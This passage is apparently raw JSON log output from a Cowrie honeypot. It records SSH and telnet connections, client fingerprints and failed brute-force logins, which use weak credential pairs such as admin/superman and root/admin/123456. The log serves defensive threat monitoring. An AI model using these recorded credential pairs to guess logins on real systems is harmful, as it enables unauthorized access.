ha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:59.030686Z","src_ip":"101.36.106.162","session":"67d1bea7adac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"superman","message":"login attempt [admin/superman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:59.934478Z","src_ip":"101.36.106.162","session":"67d1bea7adac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:01.155158Z","src_ip":"101.36.106.162","session":"67d1bea7adac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54310,"dst_ip":"159.203.135.109","dst_port":22,"session":"b69a8aae996c","protocol":"ssh","message":"New connection: 2.57.122.208:54310 (159.203.135.109:22) [session: b69a8aae996c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:41.933404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:42.029614Z","src_ip":"2.57.122.208","session":"b69a8aae996c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:42.222355Z","src_ip":"2.57.122.208","session":"b69a8aae996c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:43.025146Z","src_ip":"2.57.122.208","session":"b69a8aae996c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:44.227242Z","src_ip":"2.57.122.208","session":"b69a8aae996c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":34530,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1068a85c89a","protocol":"ssh","message":"New connection: 101.36.106.162:34530 (10.17.0.5:22) [session: f1068a85c89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:48.737106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:48.745329Z","src_ip":"101.36.106.162","session":"f1068a85c89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:48.960047Z","src_ip":"101.36.106.162","session":"f1068a85c89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wduser","password":"wduser","message":"login attempt [wduser/wduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:49.847440Z","src_ip":"101.36.106.162","session":"f1068a85c89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:51.064758Z","src_ip":"101.36.106.162","session":"f1068a85c89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":54526,"dst_ip":"159.203.135.109","dst_port":22,"session":"5067eb2a52a2","protocol":"ssh","message":"New connection: 201.6.100.191:54526 (159.203.135.109:22) [session: 5067eb2a52a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:58.629955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:58.634741Z","src_ip":"201.6.100.191","session":"5067eb2a52a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:58.770231Z","src_ip":"201.6.100.191","session":"5067eb2a52a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"P@ssw0rd","message":"login attempt [guest/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:14:59.339358Z","src_ip":"201.6.100.191","session":"5067eb2a52a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:00.473688Z","src_ip":"201.6.100.191","session":"5067eb2a52a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36950,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf74f9bbca8","protocol":"telnet","message":"New connection: 135.148.33.91:36950 (159.203.135.109:23) [session: bcf74f9bbca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:07.959391Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.79","src_port":59170,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1104356796","protocol":"telnet","message":"New connection: 205.210.31.79:59170 (10.17.0.5:23) [session: 1e1104356796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:21.340354Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":51088,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e57534a4424","protocol":"ssh","message":"New connection: 43.173.69.147:51088 (159.203.135.109:22) [session: 5e57534a4424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:30.417613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:30.423274Z","src_ip":"43.173.69.147","session":"5e57534a4424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:30.493253Z","src_ip":"43.173.69.147","session":"5e57534a4424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoopuser","password":"hadoopuser","message":"login attempt [hadoopuser/hadoopuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:30.797426Z","src_ip":"43.173.69.147","session":"5e57534a4424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.966647863388062,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:31.306906Z","src_ip":"205.210.31.79","session":"1e1104356796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:31.868393Z","src_ip":"43.173.69.147","session":"5e57534a4424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.219.174.150","src_port":37704,"dst_ip":"159.203.135.109","dst_port":23,"session":"9154be9b577a","protocol":"telnet","message":"New connection: 45.219.174.150:37704 (159.203.135.109:23) [session: 9154be9b577a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:31.883502Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":54880,"dst_ip":"10.17.0.5","dst_port":22,"session":"e715b0d00c72","protocol":"ssh","message":"New connection: 101.36.106.162:54880 (10.17.0.5:22) [session: e715b0d00c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:39.910667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:39.915050Z","src_ip":"101.36.106.162","session":"e715b0d00c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:40.129379Z","src_ip":"101.36.106.162","session":"e715b0d00c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58871006965637,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:40.547958Z","src_ip":"135.148.33.91","session":"bcf74f9bbca8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin/123456","message":"login attempt [root/admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:41.009659Z","src_ip":"101.36.106.162","session":"e715b0d00c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:42.224848Z","src_ip":"101.36.106.162","session":"e715b0d00c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.6","src_port":55096,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b78bcd94579","protocol":"ssh","message":"New connection: 185.134.49.6:55096 (10.17.0.5:22) [session: 2b78bcd94579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:43.103671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:43.108278Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:43.230553Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:c5:e3:88:da:84:9f:eb:71:f6:c6:ad:d2:e5:51:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE6ufnPv4KvSB0pokNWKbWAeIIIj7vAgc4ZbDvuTgKa0UOHOFiMD8E4ei+iXSVrDlq9m6txoN/b8T+y0bb1RVero/+3oz9jASIribZGaZvAvx3UDvOZRKRSU/xqxADm3wMsWDVvVQ4yohEpn4DmHlmXrJl+6C/3Qck8/5hHqTTbd/tN74IzdAnhUU/Af7zOR/sakiyG5JmYAgn5/xvRHJD3VKGGf3bmDcaG+sqn/sn10mXBQBOs3mYhLmnQgBoIpwmYD0+F00RjUzZMHHzlvPP7DhyT9ngVUya5gT5ZCmutUF9VUsRYfvNMnEHQM2cTBocTkXZikuHSz2e2ix8M44d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:c5:e3:88:da:84:9f:eb:71:f6:c6:ad:d2:e5:51:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:43.821596Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:c5:e3:88:da:84:9f:eb:71:f6:c6:ad:d2:e5:51:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE6ufnPv4KvSB0pokNWKbWAeIIIj7vAgc4ZbDvuTgKa0UOHOFiMD8E4ei+iXSVrDlq9m6txoN/b8T+y0bb1RVero/+3oz9jASIribZGaZvAvx3UDvOZRKRSU/xqxADm3wMsWDVvVQ4yohEpn4DmHlmXrJl+6C/3Qck8/5hHqTTbd/tN74IzdAnhUU/Af7zOR/sakiyG5JmYAgn5/xvRHJD3VKGGf3bmDcaG+sqn/sn10mXBQBOs3mYhLmnQgBoIpwmYD0+F00RjUzZMHHzlvPP7DhyT9ngVUya5gT5ZCmutUF9VUsRYfvNMnEHQM2cTBocTkXZikuHSz2e2ix8M44d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:43.826367Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:a6:c2:65:2a:12:36:c5:0c:86:9d:b7:5a:ee:89:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtC/+BtpJezRDr/gXCITkLHM1c5n6KJj7BiTqQEj66oo5s73HnlUeHlok/27+fjMsr6v1wD170+lZXQHaRYeQHZleDuc7Sjc7GbOZ9VSNNoEuu06bISG28aGwZR04dwsCv+Idupd5EVW0n0CWiG38q0kFHfGfo3409C+qqk1Az1YLH1JDztuTqXMcgF+Qn+DpnGgvaBeChkCMaRB+J8RhGfpXr2KCsXJRHfkgrSZWtMDkr95+hmsFByzZNJrzelK9+SBan7wnkUB5fOHzCgroXnGRAaKNuHWM0fAmT0domwwCdl5rOC190cmnV+o/m06/PgjICgmHOvZprdBApLXef3dMdJULLTJJ1UnDNrKGHPgTc2ZExySQtPls6SFTEXW8mJfndnzp3uMOXn3MxZssxV+llP4JqOH7AyRmppj14YhnjxgpuKgVyq4jPIFFxi1iCCtAutvqglClAOMXvlZv09BwS1o5WSJlq1pX/V1Ixu4ReUI7/gntoRvUqnDdBaU4Z4Dbb5wnOYQQowyLpU1dCqu9n/wjqKcVpRwzSEijUK1fSHiAMTcuzpoZjxjRovQkAAC7ahOujS30di6vfcHdrN7liVzjIo3nsVilCH8zFeTgqvkYkxcD7lzy8KNR1+yR3v9eB1FptK8aN5sEaAoo+UQZaoVtYvyB/ZOOOj6NbDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:a6:c2:65:2a:12:36:c5:0c:86:9d:b7:5a:ee:89:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:15:43.949550Z","src_ip":"185.134.49.6","session":"2b78bcd94579","protocol":"ssh"}
